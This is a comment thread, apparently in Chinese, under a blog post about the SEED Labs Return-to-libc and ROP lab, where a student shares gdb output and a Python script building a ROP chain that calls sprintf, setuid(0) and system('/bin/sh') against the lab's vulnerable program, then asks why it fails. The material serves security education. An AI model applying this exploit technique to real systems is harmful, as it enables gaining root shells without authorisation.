Ch3nyang's blog | SEEDLabs (2) - Return-to-libc Attack and ROP

[giscus[bot]]

Ch3nyang's blog | Return-to-libc Attack and ROP

本文为 SEED Labs 2.0 - Return-to-libc Attack Lab 的实验记录。...

https://blog.ch3nyang.top/post/seedlab_return2libc/

[wz1118]

大佬，Return-to-libc Attack的task3，我的h_addr = 0xffffd413，您的是403，其他都是一样的，我把403换成了413了，但是为什么还是攻击失败呢？要怎么解决你

[WCY-dt]

这个是 task2 中打印出来的 ebp 地址

[wz1118]

$3 = {<text variable, no debug info>} 0xf7e20e40 <sprintf>
gdb-peda$ p setuid
$4 = {<text variable, no debug info>} 0xf7e99e30 <setuid>
gdb-peda$ p system
$5 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$6 = {<text variable, no debug info>} 0xf7e04f80 <exit>
0x565562ce <+97>:	leave
[12/31/24]seed@VM:~/.../Labsetup2$ ./retlib
ffffddfa
Address of input[] inside main():  0xffffcd9c
Input size: 256
Address of buffer[] inside bof():  0xffffcd60
Frame Pointer value inside bof():  0xffffcd78
Segmentation fault

[wz1118]

#!/usr/bin/python3
import sys

def tobytes(value):
    return (value).to_bytes(4, byteorder='little')

# 初始化内容
content = bytearray(0xaa for i in range(24))

# 地址定义
sh_addr = 0xffffddfa
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd78

# setuid() 的第一个参数
sprintf_arg1 = ebp_bof + 12 + 5 * 0x20  # 动态计算起始位置
sprintf_arg2 = sh_addr + len("/bin/sh")  # 指向字符串末尾

# 使用 leaveret 返回到第一个 sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2 * 4)

# 构造 sprintf(sprintf_arg1, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5 * 4)
    sprintf_arg1 += 1  # 动态调整，确保递增

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0x0)  # 传递 setuid 的参数 0
content += b'A' * (0x20 - 4 * 4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4 * 4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# 写入恶意文件
with open("badfile", "wb") as f:
    f.write(content)

[wz1118]

大佬，上面是我的结果，下面我已经按结果更改了，因为您的代码他会报错，所以我修改了一点点，但是还是攻击失败

[WCY-dt]

我来看一下，你可以先参考一下这个链接